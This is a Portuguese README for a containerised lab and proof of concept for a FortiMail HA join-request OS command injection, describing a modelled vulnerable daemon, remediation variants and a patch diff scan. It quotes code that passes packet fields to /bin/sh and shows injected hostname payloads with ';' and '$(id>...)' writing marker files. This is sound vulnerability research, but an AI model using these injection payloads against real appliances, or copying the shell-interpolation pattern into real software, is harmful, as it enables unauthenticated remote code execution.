
PoC e laboratório conteinerizados para CVE-2026-126148, uma injeção de comando do SO não autenticada no tratamento de solicitações de junção HA do FortiMail, com diferencial e varredura entre 8.0.1 e 8.0.2.
| CVE | CVE-2026-126148 |
| Componente | Fortinet FortiMail — cluster de alta disponibilidade, tratamento de join-request (lab/fortimail_ha.py, modelado) |
| Afetado | FortiMail 8.0.0–8.0.1, FortiMail 7.6.0–7.6.6 |
| Corrigido em | FortiMail 8.0.2 (ramo 8.0), FortiMail 7.6.7 (ramo 7.6) |
| CWE | CWE-78 (Neutralização Incorreta de Elementos Especiais usados em um Comando do SO — Injeção de Comandos do SO) |
| Impacto | Execução remota de código não autenticada com a conta de serviço do FortiMail (uid=0(root) no laboratório) |
| Vetor | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H — 9.8 CRÍTICO |
| Gatilho | Os campos de identidade do par de um pacote de join-request de cluster HA do FortiMail especialmente construído |
| Crédito | Fortinet PSIRT (autor do advisory); nenhum repórter individual é nomeado no advisory |
| Advisory | Fortinet PSIRT FG-IR-26-200, publicado em 2026-11-10 |
| Workaround | nenhum publicado pela Fortinet |
O advisory FG-IR-26-200 da Fortinet descreve uma injeção de comandos do SO no cluster de alta disponibilidade do FortiMail que "pode permitir que um atacante remoto não autenticado execute código ou comandos não autorizados por meio de pacotes de join-request de HA especialmente construídos". Um nó FortiMail que pertence — ou está disposto a ingressar — a um cluster HA escuta por join-requests em uma faixa de portas fixa. O join-request carrega a identidade do par que deseja ingressar, e o daemon transforma essa identidade em um comando de gerenciamento de cluster. Quando os campos de identidade são colocados na linha de comando como texto e essa linha de comando é entregue a um shell, os campos deixam de ser dados: eles são sintaxe de shell. O resultado é execução remota de código com os privilégios do daemon do FortiMail, a partir de um único pacote não autenticado, sem interação do usuário e sem acesso prévio ao appliance.
Este repositório contém um laboratório containerizado que reproduz a falha, um diferencial contra duas formas de remediação, e os resultados de uma varredura de 0-day contra a linha corrigida.
O FortiMail é software proprietário. Nenhum de seus códigos, binários ou configurações é redistribuído aqui, e a Fortinet não publica o formato do pacote de join-request de HA nem o código-fonte do manipulador de join. O que é reproduzível aqui é, portanto:
/bin/sh, não do FortiMail, e são exercitadas de verdade.Tudo o que o laboratório afirma sobre o produto do fornecedor é proveniente do advisory; tudo o que ele afirma sobre o modelo é rotulado como tal. O modelo é a única coisa que executa no laboratório, e é construído de modo que o comportamento vulnerável e o corrigido difiram apenas no componente alvo.
O modelo reside em lab/fortimail_ha.py e é selecionado com FML_MODE:
FML_MODE | comportamento | versão reportada |
|---|---|---|
vuln | o modelo do FortiMail 8.0.1: a identidade do par é interpolada na linha de comando sem validação e a linha é executada através de /bin/sh -c | 8.0.1 |
fixed | o modelo do FortiMail 8.0.2: cada campo de identidade é validado contra um conjunto de caracteres estrito e o comando é executado sem shell, como um vetor de argumentos | 8.0.2 |
fixed-partial | uma forma de remediação hipotética — não uma afirmação sobre o patch do fornecedor: apenas o campo hostname é validado, e o auxiliar de execução baseado em shell é mantido | 8.0.2 (modelo de remediação parcial) |
O terceiro braço existe para que a varredura tenha um alvo realista de remediação incompleta. É um artefato deste laboratório e não carrega nenhuma afirmação sobre o que a Fortinet distribuiu.
A solicitação de junção é a única parte do protocolo de HA que um estranho pode enviar: o daemon deve aceitá-la de um par que nunca viu, porque é isso que significa juntar-se a um cluster. A identidade do par no pacote é, portanto, não confiável por construção.
No modelo do FortiMail 8.0.1 a identidade não é apenas não validada — ela é texto. O
manipulador substitui os campos do pacote em um modelo de comando e entrega a string resultante
a um shell. lab/fortimail_ha.py:336:
argv = build_argv(msg_type, fields)
cmdline = " ".join(argv)
e lab/fortimail_ha.py:345:
else:
# FortiMail 8.0.1 model and the partial-remediation shape: the command line is
# handed to a shell.
exec_kind = "shell"
out, err, rc = subprocess_run(["/bin/sh", "-c", cmdline])
build_argv() (lab/fortimail_ha.py:297) realiza uma substituição simples de tokens, sem
aspas e sem verificação de caracteres:
def build_argv(msg_type, fields):
"""Replace the {field} tokens with the raw values that arrived in the packet."""
template = COMMANDS[msg_type][0]
argv = []
for tok in template:
if tok.startswith("{") and tok.endswith("}"):
name = tok[1:-1]
argv.append(fields[name].decode("latin-1"))
else:
argv.append(tok)
return argv
O template para a solicitação de join é a invocação modelada de fml_ha peer add
(lab/fortimail_ha.py:152):
MSG_JOIN: (
["fml_ha", "peer", "add", "--cluster", "{cluster-id}", "--serial", "{serial}",
"--name", "{hostname}", "--ip", "{peer-ip}"],
["cluster-id", "serial", "hostname", "peer-ip"],
),
de modo que a linha de comando que chega ao shell é
fml_ha peer add --cluster <cluster-id> --serial <serial> --name <hostname> --ip <peer-ip>
com cada <...> substituído por bytes controlados pelo atacante. Um hostname de
mail-node-01; id > /results/marker/x.txt portanto produz
fml_ha peer add --cluster cluster-01 --serial FG100FT0000000001 --name mail-node-01; id > /results/marker/x.txt --ip 10.10.10.11
que são dois comandos, e o segundo é executado com os privilégios do daemon. O
log de comandos capturado mostra exatamente essa linha, produzida pelo modelo vulnerável
(evidence/ha-command-log.txt):
2026-11-12T03:26:07Z mode=vuln version=8.0.1 port=20005 transport=tcp peer=10.89.10.125:51284 exec=shell exit=0 command=fml_ha peer add --cluster cluster-01 --serial FG100FT0000000001 --name x$(id>/results/marker/a4179c5d3e360061.txt 2>&1; echo token=a4179c5d3e360061 >>/results/marker/a4179c5d3e360061.txt) --ip 10.10.10.11
O digest do cluster também é transportado no pacote, mas o daemon o compara depois que o
comando de registro de peer já foi executado (lab/fortimail_ha.py:361):
# ---- the cluster digest is compared only now: the peer-registration command has
# ---- already run. That ordering is what makes the flaw *unauthenticated* (PR:N).
digest_ok = hmac.compare_digest(fields["admin-digest"], SECRET.encode("latin-1"))